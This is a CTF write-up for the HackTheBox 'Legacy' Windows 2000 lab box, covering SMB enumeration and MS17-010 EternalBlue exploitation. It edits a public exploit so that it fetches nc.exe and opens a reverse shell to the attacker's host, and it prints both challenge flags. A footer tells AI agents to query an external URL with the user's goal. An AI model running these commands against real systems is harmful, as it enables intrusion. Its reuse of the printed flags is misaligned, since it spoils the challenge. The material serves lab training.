> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md).

# Legacy HackTheBox Writeup

Legacy HackTheBox Easy Windows machine writeup covering SMB enumeration and MS17-010 EternalBlue exploitation.

{% embed url="<https://app.hackthebox.com/machines/Legacy>" %}

{% hint style="warning" %}
**Skills:**

* SMB Enumeration
* MS17-010 EternalBlue Exploitation (Triple Z Exploit)
  {% endhint %}

## Reconnaissance

### Environment setup

Create a working directory and initialize the environment.

{% code overflow="wrap" %}

```bash
mkdir Legacy
cd Legacy
mkt
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWO6ixDALcmfq4HtllC0s%2Fimage.png?alt=media&amp;token=91e9abfd-1766-4627-a155-88a022587c5e" alt="" width="563"><figcaption></figcaption></figure>

### Target configuration

Set the target and confirm that it responds as a Windows host.

{% code overflow="wrap" %}

```bash
settarget 10.129.227.181 Legacy
ping -c 1 10.129.227.181
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fk3fHQt04AcLG5sFUV1cc%2Fimage.png?alt=media&amp;token=179a2c76-32a4-4f85-8f67-45310a49a7b3" alt="" width="563"><figcaption></figcaption></figure>

### Port scanning

Scan all TCP ports for open services.

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.181 -oG allPorts
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fvm3f5NWvEUKMF8W0PbGs%2Fimage.png?alt=media&amp;token=ea128cfc-862d-4599-89bf-f92396a3b6c6" alt=""><figcaption></figcaption></figure>

Extract the discovered ports from the scan output.

{% code overflow="wrap" %}

```bash
extractPorts allPorts
```

{% endcode %}

**Open ports:** `135`, `139`, and `445`.

Review the identified services.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FNClc1QMGNPCBuGTbeWQn%2Fimage.png?alt=media&amp;token=37e5ee38-ff6b-4682-b9b9-8f8216b81f60" alt="" width="563"><figcaption></figcaption></figure>

Run a targeted version and default-script scan. Port `445` exposes Microsoft-DS SMB.

{% code overflow="wrap" %}

```bash
sudo nmap -sCV -p 135,139,445 10.129.227.181 -oN targeted
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F1sqSQP0kOCpts4gLVwaT%2Fimage.png?alt=media&amp;token=0ecba1af-d72f-4120-8c8d-feb6e18e095d" alt=""><figcaption></figcaption></figure>

### SMB enumeration

Attempt anonymous enumeration and authentication. Neither attempt succeeds.

{% code overflow="wrap" %}

```bash
smbmap -H 10.129.227.181
smbclient -L 10.129.227.181 -N
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxRJKM9fBWpxwx7LJdlhK%2Fimage.png?alt=media&amp;token=c783cecf-44b0-417c-8039-dcbcd5e62fdc" alt="" width="563"><figcaption></figcaption></figure>

The operating system is identified as Windows 2000, an outdated Windows release.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F3MwOEYgDopqJMG9oCi1m%2Fimage.png?alt=media&amp;token=7b873e8e-19a9-4988-a7da-5af431b15b40" alt="" width="548"><figcaption></figcaption></figure>

### Vulnerability research

Search for public SMB exploits affecting Windows 2000:

`Windows 2000 LAN Manager exploit smb github`

Several public scripts target vulnerabilities in this legacy Windows version.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fi3B18VKEc7XwNtbsaI3V%2Fimage.png?alt=media&amp;token=b118ea65-834c-479d-a5a1-015cfc744167" alt=""><figcaption></figcaption></figure>

Use this Exploit-DB resource for the Windows EternalBlue vulnerability.

{% embed url="<https://www.exploit-db.com/exploits/7132>" %}

Validate the vulnerability with an Nmap script scan.

{% code overflow="wrap" %}

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

{% endcode %}

The scan confirms that the target is vulnerable.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4huIMGt2OdpOJfsn4xuf%2Fimage.png?alt=media&amp;token=a1984211-c107-4a75-8cf9-130f1d8c3541" alt=""><figcaption></figcaption></figure>

### Exploitation

Use the following MS17-010 project.

{% embed url="<https://github.com/worawit/ms17-010/>" %}

Edit the `zzzz` file.

Comment out the following line:

{% code overflow="wrap" %}

```bash
#service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
```

{% endcode %}

Copy `nc.exe` into the working directory.

{% code overflow="wrap" %}

```bash
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
```

{% endcode %}

Share the current directory over SMB to transfer the binary.

{% code overflow="wrap" %}

```bash
smbserver.py share $(pwd) -smb2support
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr1ZbLUzjqHfJwwSNtcWS%2Fimage.png?alt=media&amp;token=13ae723e-4c50-490c-a0fe-15eb37450500" alt="" width="563"><figcaption></figcaption></figure>

Update the script with the SMB path and reverse-shell command below.

### Reverse shell

Start a listener on port `4444`.

{% code overflow="wrap" %}

```bash
rlwrap nc -nvlp 4444
```

{% endcode %}

Replace the command in the script with:

{% code overflow="wrap" %}

```bash
service_exec(conn, r'cmd.exe /c copy \\10.10.15.2\share\nc.exe C:\Windows\Temp\nc.exe && C:\Windows\Temp\nc.exe -e cmd.exe 10.10.15.2 4444')
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FTs188RCk2JC5ULFMuomq%2Fimage.png?alt=media&amp;token=1c398e9c-3b47-403b-a8cc-b1bc193beffc" alt=""><figcaption></figcaption></figure>

### Flags

Retrieve the user flag.

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\john\Desktop\user.txt"
```

{% endcode %}

* e69af0e4f443de7e36876fda4ec7644f

The shell also provides access to the Administrator flag.

{% code overflow="wrap" %}

```bash
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
```

{% endcode %}

* 993442d258b0e0ec917cae9e695d5713

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEJRmsBEwGYMckLCzdpsX%2Fimage.png?alt=media&amp;token=e871c9c9-8c01-4b92-a82a-c16d95c79d94" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fao1H1Vv1Y3iTttCs9lMR%2Fimage.png?alt=media&amp;token=f8112ef8-ee13-423f-a172-8b75880e305f" alt="" width="495"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/legacy-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
